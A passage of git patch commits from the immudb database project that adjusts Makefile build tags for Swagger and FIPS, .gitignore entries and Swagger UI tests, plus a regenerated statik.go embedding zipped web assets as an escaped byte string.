\xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x99\x92OV\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00missing/index.htmlUT\x05\x00\x01\x82\"\xedcPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x99\x92OV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00missing/mascot.pngUT\x05\x00\x01\x82\"\xedcPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x92\x00\x00\x00*s\x00\x00\x00\x00" + fs.Register(data) + } + \ No newline at end of file From c27309e96ba58c04f6bbf877d4bea3cc71b97f42 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:14:40 +0100 Subject: [PATCH 0285/1062] enabled again gitignoring further statiks builds --- .gitignore | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index d66185fb29..1e974d4835 100644 --- a/.gitignore +++ b/.gitignore @@ -49,5 +49,5 @@ token token_admin swagger/dist -# swagger/swaggerembedded -# webconsole/webconsoleembedded \ No newline at end of file +swagger/swaggerembedded +webconsole/webconsoleembedded \ No newline at end of file From 751c84f95401ccf38a48a76fb0c6dee46a5efc17 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:34:39 +0100 Subject: [PATCH 0286/1062] Disabling swagger by default --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 83005fbb29..1bab493fa6 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,7 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 -SWAGGER?=true +SWAGGER?=false SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" From 4ede8c7204a9179b87a25c8111df10c7456ba875 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:11:58 +0100 Subject: [PATCH 0287/1062] Added build tags to build targets --- Makefile | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/Makefile b/Makefile index 1bab493fa6..e912af859c 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,8 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 -SWAGGER?=false +SWAGGER?=true +FIPSENABLED?=false SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" @@ -50,12 +51,16 @@ V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') SWAGGER_BUILDTAG= WEBCONSOLE_BUILDTAG= +FIPS_BUILDTAG= ifdef WEBCONSOLE WEBCONSOLE_BUILDTAG=webconsole endif ifeq ($(SWAGGER),true) SWAGGER_BUILDTAG=swagger endif +ifeq ($(FIPSENABLED),true) +SWAGGER_BUILDTAG=swagger +endif IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" .PHONY: all @@ -81,11 +86,11 @@ webconsole/default: .PHONY: immuclient immuclient: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient + $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient .PHONY: immuadmin immuadmin: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin + $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb immudb: webconsole swagger @@ -93,11 +98,11 @@ immudb: webconsole swagger .PHONY: immutest immutest: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest + $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest .PHONY: immuclient-static immuclient-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient .PHONY: immuclient-fips immuclient-fips: @@ -106,7 +111,7 @@ immuclient-fips: .PHONY: immuadmin-static immuadmin-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin .PHONY: immuadmin-fips immuadmin-fips: @@ -115,7 +120,7 @@ immuadmin-fips: .PHONY: immudb-static immudb-static: webconsole - CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb .PHONY: immudb-fips immudb-fips: webconsole @@ -124,7 +129,7 @@ immudb-fips: webconsole .PHONY: immutest-static immutest-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest .PHONY: vendor vendor: From c4d8b897c7ca839cbd2c579e673130763aba825f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:13:14 +0100 Subject: [PATCH 0288/1062] Preparation for handling fips --- Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index e912af859c..703b7577a0 100644 --- a/Makefile +++ b/Makefile @@ -59,9 +59,9 @@ ifeq ($(SWAGGER),true) SWAGGER_BUILDTAG=swagger endif ifeq ($(FIPSENABLED),true) -SWAGGER_BUILDTAG=swagger +FIPS_BUILDTAG=swagger endif -IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" +IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)" .PHONY: all all: immudb immuclient immuadmin immutest From 8af9c2d376bf1cdb0e431c1369ef8c695b1f3482 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:23:38 +0100 Subject: [PATCH 0289/1062] Disabling default swagger --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 703b7577a0..94208e6579 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,7 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 -SWAGGER?=true +SWAGGER?=false FIPSENABLED?=false SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" From 26777b0ce20abc9e4860a714eedae8845a500df4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:41:00 +0100 Subject: [PATCH 0290/1062] Test adjustments --- swagger/swagger_default_test.go | 4 +--- swagger/swagger_test.go | 3 +-- swagger/swaggerembedded/statik.go | 2 +- 3 files changed, 3 insertions(+), 6 deletions(-) diff --git a/swagger/swagger_default_test.go b/swagger/swagger_default_test.go index 1d3f885874..632ff9a105 100644 --- a/swagger/swagger_default_test.go +++ b/swagger/swagger_default_test.go @@ -26,9 +26,7 @@ func TestSetupSwaggerUI(t *testing.T) { rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) - - // Response is either 200 or 307 = redirect - assert.True(t, http.StatusOK == 307, rr.Code) + assert.True(t, rr.Code == 301) // Test just if the response exist _, err = ioutil.ReadAll(rr.Body) diff --git a/swagger/swagger_test.go b/swagger/swagger_test.go index d55ba50a1e..062b9c9b56 100644 --- a/swagger/swagger_test.go +++ b/swagger/swagger_test.go @@ -27,8 +27,7 @@ func TestSetupSwaggerUI(t *testing.T) { rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) - // Response is either 200 or 307 = redirect - assert.True(t, http.StatusOK >= 200, rr.Code) + assert.True(t, rr.Code == 200) // Test just if the response exist page, err := ioutil.ReadAll(rr.Body) diff --git a/swagger/swaggerembedded/statik.go b/swagger/swaggerembedded/statik.go index acc5bb4ddb..54c02fe06c 100644 --- a/swagger/swaggerembedded/statik.go +++ b/swagger/swaggerembedded/statik.go @@ -10,7 +10,7 @@ import ( func init() { - data := "PK\x03\x04\x14\x00\x08\x00\x08\x00snUV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00 \x00index.htmlUT\x05\x00\x01j\xcc\xf4c\x94TQk\xdc8\x10~\xcf\xaf\x98\xd3\x11H\xc0^\xed.,\x04\xc7\xf6\xc3%y\x08\x1cw\xa1i\xa0y\x1c\xdbc[T\xd6\xb8\xd28\xdb\xa5\xf4\xbf\x17\xc7\xde\xec.M\x0b}\xb1\xe4\x99\xf9\xbe\xd1\xa7\xf9P\xfa\xd7\xed\xff7\x1f\x9f\x1f\xee\xa0\x95\xce\xe6g\xe9\xb8\x80E\xd7d\x8a\x9c\xca\xcf\x00\xd2\x96\xb0\x1a7\x00\xa9\x18\xb1\x94\xff\xc7\xf0\xb8\xc5\xa6!\x0fO\xf7@\x0e\x0bKU\xaa\xa7\xe4T\xd8\x91 \xb4\"}L_\x06\xf3\x92\xa9\x1b,[\x8ao\xd8\x89g\xab\xa0d'\xe4$S\x8e\xe3rLE\xe08\x0e\xc2\x9e\"\xe8\x86 \xb1\xa7\x17\xb4\xa6B!\x05\xfaW\xac\x0f\x1e\x9b\x0e\xdf\xa1\xfb\x0d\xe6\xeeko<\x85#\xd0\xf2P\x1dd\xb7\xd7\x00Pp\xb5\x83o\xf3\x0f@\x81\xe5\xe7\xc6\xf3\xe0\xaa\xb8d\xcb>\x81\xbf\xd7\xab\xf5z]^\xbf\x95\xd4\xec$\xae\xb13v\x97\xc0\x07.X8\x82\x80.\xc4\x81\xbc\xa9\x0f\x853\x81o\x8a\x8b\xd5\xd5&\x82\xfd\xe7r_\xf2}^1\x02L^L0B\xd5\xd1YN\x18\xd6#vu\x15\xc1z\xb5\xfc\x89`1\xcaD\xe3\xc8\x9f\xc0\x01z\x0eF\x0c\xbb\x04\xb0\x08l\x07\xa1\xeb\x93\xbcp\x9f\xc0fy~\x1a\xb5T\xcb;a\xf1\xe8B\xcd\xbeK\xa6\xadE\xa1O\x17\xf1fy~y\x08=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc \xec\x1fq\xbf\xf4P\xf1\xac\xc4\x91\xc5\x17|\xe7Z\x0fY?\xc7\xce\xc3\xbf\x8dW~\x1d\x95\xac\xf5\x00\x02\x9d\x18,t\xc9\x14\x8aa\xfbZ=,\"\xd36_\\\xbe\xbei\xd5qm3I\xb2\xcf\xeef\xd3\x8e; O\x84h\x84\xbd?\xe4 \xa7\xca\\\x99\x15\x9e\xcb0{\xda\x9a\xc6\xce\xd6j\x9f&\xb5\xb7mAv\x11!\x8e\xdc\x13\xbb\x065\x95\xf3\x9e\x06$\xfc\x83i\x0ep9\xfe\xde\x7f\xcam\xa8}4\xf2\xcc\x19[\xe6\xdaw\x90*\x97\xa4\x18(\xf8\xbb}\xfa\xa0\xa6\x94\x9b\x7f\x99@.z\xd2\xec\xf0\x96-\xc1\xecf\x12_\x17\xde\x9b\x11\xd5\x1brc\x8f\xa6\xef\xfek\x11g\x85\xfe\x12\x11\xd8 \xbb\x83\xbab\xcb\x89W\xdf\xd4\xbb +\xdfA \x0b8\x18\xfd\xfe\x1d\xa3m\xc6\xacB\xbe+\xa5\xbb3_\xe3\x0dZu\xa5\x1c!\xf6K*\x8b^\xb4ap\xe7\"\xa4\x03\x001\xea=!\xab<\xf3Ec\x7f\xfb\xe1\xdd\xc6\xd3U]\xceG`\xe8\xb5\\ \xa5\xfc\xbe\xdf+\x98\xcb\xf5Z\xd8%\xa3S\x0e\xea\xb3\xdbz|\xbf\xdcv\xa1\x81,\x1e+\xe4c\xd0\xd8R\x86|D\x8fdo\x0e\xd3%\xacB\x8a\x0d\xa2h_\xc1\xbf\xc0\x96wY\xee\xb7\xa3mg\xff\xce\x9ad\xfb\x9ex\xe7\xf2=\x1e\xdb\xc7\xe3\x1f\x9fu\x93a{\\1/\xfb\x92\x10k|\xe2R\x9f2\x15\xac\x9d\xb6\xba\xdfp\xdc\x138\xdb\xd9\xc8\xbd)\xc7\xa7\x94gz\xdep\x7f\xcf\x8b\xd8\x94\x19\x0d;?\x1cX\xe14#\xe4GH\xf4\xf1\x81_\xee\x81\x82[\xee\x97\xdc\xdeu\x9e\x8c\xab\x1d\x17\xee\x0c\xb7\xaa\xe5\xad\xfcf/{jV\xbe-\x80\x1a\xb6\x8e\"\x8fq> \x08:\xa7u<\x14\x82\xd3\x0e\xd5\x8e\xd6.\xd0\xf8\xc1>\xf8\xa5\x1d\xd9\xe8;n\x95%\xfc\xe9\xcfq\xbb`_n\xf0+\xb4\xe1V\xa6\x08\xebD\xfdr\x9d\xce\xaa\xc5\xaf\xad\xbf\xbd\xee\xcck\x82\xe2\\K\xd7$\x0c\x05\xfc\xdaW5\x94XN\xca.T\xb2\x93\xd1\xc9[;\x0cW\x87\x15\xb5or\xcc\x9af\xa2?\xd2\xbd\x1b\x7f6\xc8\xeb\xb9^\xefmi8\x01\xeeZwx(4{<\x8c\x9c\xc1\x06vTw\x9d~\xeeZ\x9f\xeb\xc6\x9b\xfd\x92\x02\xa7\xaa\xe4bi\xb0\x16\xa1\xbf\xbc\xd2\xe9\x96\xf2;\x91\xe2\n\xa2\xeehl^&\x98\xefXM\x14}_\x8b\x96\xaa\x82P\xc5\nE\xac\xfc\xc3g\x1c\xf8\xa1\xaf\xc5 *$\xc1\x97\x92\xc3\xdfK^\x970\xfa'pct\x05\xfa\x0c\xb3a\x8c@\xec\x7f\xb2\xa0\xbca\xd5C\xb4m\x89j\x97\xc0IRi\xaa|\x12Y\xd0\xb3\x97\xe4f\x96{\xedk\x8cA\x15\n^\xa88\x1ar\xccR\xe9@\xbb7vpq\x85\xac6\xde\xc8s\x0d\xb8\xdbqZ\xab^\xe9{\x82U\xa9a\xd7\xda\xbfo\xdc\xbe\x91\x85\xdbq\x82AHw\xf7\xbd\xcb\xaf\xda$\xcdo\xb7j\xe8q \\X\x05\xbf\x1a\x14\xbf7=0\xf6\xab\x1e\xfd\xb8\xdd\x08\xd9\xb7\x83\x15en\xe5\xe0\xc3\x82\x19\x86\xbcR\xa2~\x99\xe7\xb1+w\xff\x87\xa7\x86\xb1\xd3;\xa4[\x91\x9a\x97\xdcw4G\x8b\x14\xf3\xdc49rT\x9f\x03K\xe9\x7f\xb9]\xae\xc6v{S\x07\x0e\xac/\x1bVa\x00f\xf0i\xb1\xec\xca\x0c\xf1\xbdKV\x96\xa8\x80ni0 g\xf0\xa4Ff\xcd]\x96Z\xb3\xe7\x9d\xa9D\xc6\x9e\x00\x88^l\xb1_\x84ln\x08-w\x00\x1ecX\xf5\nM,\x1d\xee\x04\xc8\xd8\xc5)$\x8a\x1d\xdc\xf0\x9d%\x80\xf0=\x02\xa1\xf9\xab&\x9eu\x87\xed\xd7\xe8I.\x9bB\x8b\x9d\xe0\n\x86\xb6\x98\xba\xaa\x90\xe2\x80\x18\x18U\xac\xabo\x04ZZ\x05\"\xe5\x9f\xd6\x7f\x8f\xa0\xf3\xf7\xb7\xbe'\xf3DS]cVh1\xf9\xf3\x05\xf6\xb4on\xf2\xf0\xaf\xf4\xf5Z\xb4\xed\x90\x98\x13\xd5\xfa\xb0\x88C\x15(\xfb\x94\x14,_.\xd2n\x97\xa5\xf9r\xb1M\x8e>@a3X\xdf\xae\xd5\x9eE\x98\x80`\x8b\xb0\x1dbg\n\x7f\xed\xc4\xff\xe8\xec\\V7}-\x0f\x93D\xf7\xd4E\xf2Y\xa8\xf1\x94\xb3U\x9f\xda\xe7U\xc1\xe6n\xb7\xea\xd5\xd1;\x95*#\xad;\xe5\x1b7\xa7\x1b\xb2\xe1\xcf\xbc\x0f&\x14\xbc\x17\xe9\xdc\xef\x1d\x99\xbb\xe7\x18\xa9RiC\xff\xfe\x18fb\x01}L\x991\xa3\x85n\x8f\x1b\xb7\x1d\xbf\x9ff\x9du\xd2>\x15\x17q\xcdY\xce_\x15\x8b\xc5l\x1d\x98\xf6\xdd\xa9\x13\xbf\xc8b-\xe7\xb70\xadjm\xd5\xffso\x88\xfe\xbb{\xd6~X\x11\xbd&\x1bZ\xce\x1f\xdeZ\xfd\xd0\xaf\xbc\xb7*\xa8\x0c\xbb`l\xa4J\x0e\xa0z\xa0Q\xeb,wra5}\x15\x80\xc2\x816\xd4q\xc8\xf3\xad(\x15 \x04\xe1\xf5n\xdf\x0f/\xc5\xc6\x04Z\xeb\xe4\xe5\x0d\x0b\xa1\x1d5\xa4]\xc85\xbd\xc5Q\x12\x97\xd15\xbb\xe2|\xe5M\xe35P\x99hX.\x0d-\xe7\xafL]\x8a\xfb\x9av\xa12i\xf1\x91\xe5\xfe\xcd\xb7\xe4x\x1agcR\x93\x9e\xaf_\x1b\x8a\x8c\x80\x82\xa5\x14\x03\xf3\x9c\xae\xb4\xb9\x86*\x00,\x1ch\xc3\xad\xf2^\xf7a\x95\x12R\x0d\xe8c\xc0\xf4vs\xf1\xe4\xd6\xeb\xf6\xf1\xea\xaf!)\x89\x86+m\x9c\xf3\x9e\xd00\x84i\x90k\xf3\xf3\xc6\xc2\x15MG\xc1\xc9\xce:|\x01\x99_>Iv\xe5tM9e\xff\xf5\xf1\xfa\xca\x80V\xf8W\x82\xaa{r\xad\x13\xbb\xef\xbdAjY\xe6\xf1\x0c\xeb\xe7\xab\xc8Lb%\x02\xc2-Q\xddD\xcc\xb6\xa2\x80D)!\xf5ji\xdb\xfe\xe3\xcaI\xcc\xba\x11?\xa3